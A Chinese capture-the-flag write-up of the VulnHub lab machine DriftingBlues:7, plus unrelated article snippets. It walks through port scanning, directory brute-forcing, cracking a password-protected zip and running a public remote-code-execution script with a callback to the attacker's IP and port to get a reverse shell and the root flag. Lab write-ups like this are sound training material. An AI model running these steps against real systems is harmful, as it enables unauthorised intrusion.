vulnhub靶机 | DriftingBlues:7 write-up

news/2024/5/19 23:40:35 标签: CTF, 渗透测试, 网络安全

靶机下载地址:https://www.vulnhub.com/entry/driftingblues-7,680/

 

题目的目标是要夺到里面的flag,搭建好环境如图。

 

图片

 

首先用nmap扫描一下ip地址

  •  
nmap -sP 192.168.110.1/24  #扫描网段中存活主机

图片

  •  
nmap -p- 192.168.110.167  #在看看上面运行的服务

图片

  •  
nmap -sV 192.168.110.167  #查看服务版本

图片

上面运行的一些apache、ssh所在版本都没有漏洞,所以我们从它的80端口入手。访问80端口会被跳转到如下页面

图片

这里尝试了弱口令,暴力破解都没有猜解到密码,所以我们可以先去扫描一下它的目录结构。

扫描出来的目录也没有发现什么有价值的东西。所以只能从其他的端口进行切入了。上面扫描ip上运行的端口发现上面还有一些其他的端口,其中有一个66端口。

图片

上面运行了一个SimpleHttpServer 0.6,所以我们进行访问。

图片

接下来再去扫描一下它的目录结构

扫描出一个index_files文件夹,进行访问

图片

但是里面并没有发现什么有价值的东西,然后就卡了好久,但是感觉就有一种的洞就在这里的感觉。后来打开kali用dirsearch去爆破了下目录。

  •  
python3 dirsearch.py -u http://192.168.110.167:66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

 

图片

发现有了另外的收获,吓得我赶快去访问试一试。

图片

下载了一个是文件下来,打开看看。

有点相base64编码后的字符串,那我们用base64解码试一试。

图片

PK开头,熟悉压缩包的师傅都懂了吧,这应该是一个压缩包文件了。那我们把解码后的字符串复制出来写进一个zip文件里面去,但是发现写不进去。

图片

那我们在kali上打开进行base64解码然后输出

  •  
cat eon | base64 -d>eon.zip

 

图片

然后解压发现需要密码

  

图片

要密码那只好爆破了

图片

然后打开creds.txt文件可以看到账号密码

图片

那我们回到80端口进行登陆

图片

登陆成功

图片

在上图可以看到版本,接下来我们搜索该版本存在什么漏洞。

图片

有个远程代码执行漏洞,把下方exp保存到kali

图片

现在kali上监听4444端口

图片

然后运行脚本

  •  
python3 1.py https://192.168.110.167/ -ip 192.168.110.164 -port 4444

 

接收到shell,然后就是寻找flag的位置了。然后发现在root目录下

图片

图片


http://www.niftyadmin.cn/n/1806722.html

相关文章

关于config文件中AppSettings和ConnectionStrings的用法跟区别(转)

转自:http://www.cnblogs.com/bindot/archive/2013/03/07/def.html 转载于:https://www.cnblogs.com/jiuban2391/p/7382518.html

GEMM-深度学习的心脏

GEMM就是BLAS中的一个功能,它实现了大矩阵之间相乘。其中必然涉及了如何读取,存储等问题。 参考博客:https://petewarden.com/2015/04/20/why-gemm-is-at-the-heart-of-deep-learning/ 看到这个时间分布图你是不是震惊了!内心一万…

vulnhub靶机 | DriftingBlues:6 write-up

靶机下载地址:https://www.vulnhub.com/entry/driftingblues-6,672/ nmap -sP 192.168.110.1/24 #首先扫描存活网段 扫描出靶机地址是192.168.110.169。在对其详细服务进行扫描。 nmap -sV 192.168.110.169 开着一个80端口,进行访问。 发现只有一张图…

java自旋锁

一 Test-and-Set Lock 所谓测试设置是最基本的锁,每个线程共用一把锁,进入临界区之前看没有有线程在临界区,如果没有,则进入,并上锁,如果有则等待。java实践中利用了原子的设置state变量来保证一次只有一个…

如何快速成长?我的java之路!

由于一些外部的原因,我不得不从自己熟悉的php领域,转战到java战场。我个人觉得还是有些心得吧,不管怎么样,或多或少可能都会有那么些经历的人,和你一起走在这世上!尽管你不知道TA是谁。 其实,转…

debian下运行netstat失败

如果提示:bash: netstat: command not found 说明没有安装netstat工具,而该工具在 net-tools 工具包内。 apt-get install net-tools Ok.再说一句,net-tools包还包含:arp, ifconfig, netstat, rarp, nameif and route这几个工具。…

vulnhub靶机 | DC-1 write-up

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ 搭建好环境,我们用nmap来扫描靶机的ip地址 nmap -sP 192.168.110.1/24 扫描到靶机的ip地址为192.168.110.174,那接下来我们来进行扫描一下端口 nmap -sV 192.168.110.174 发现开放一些…

Meteor在手机上运行

在本章中,我们将学习如何在Android设备上运行你的应用程序。最近Meteor刚刚添加此功能适用于Windows操作系统,所以我们需要更新 Meteor 应用到 1.3测试版。注 在写的时候本教程的时候1.3版本 Meteor 处于测试阶段。 由于我们要使用 Meteor 最新版本&…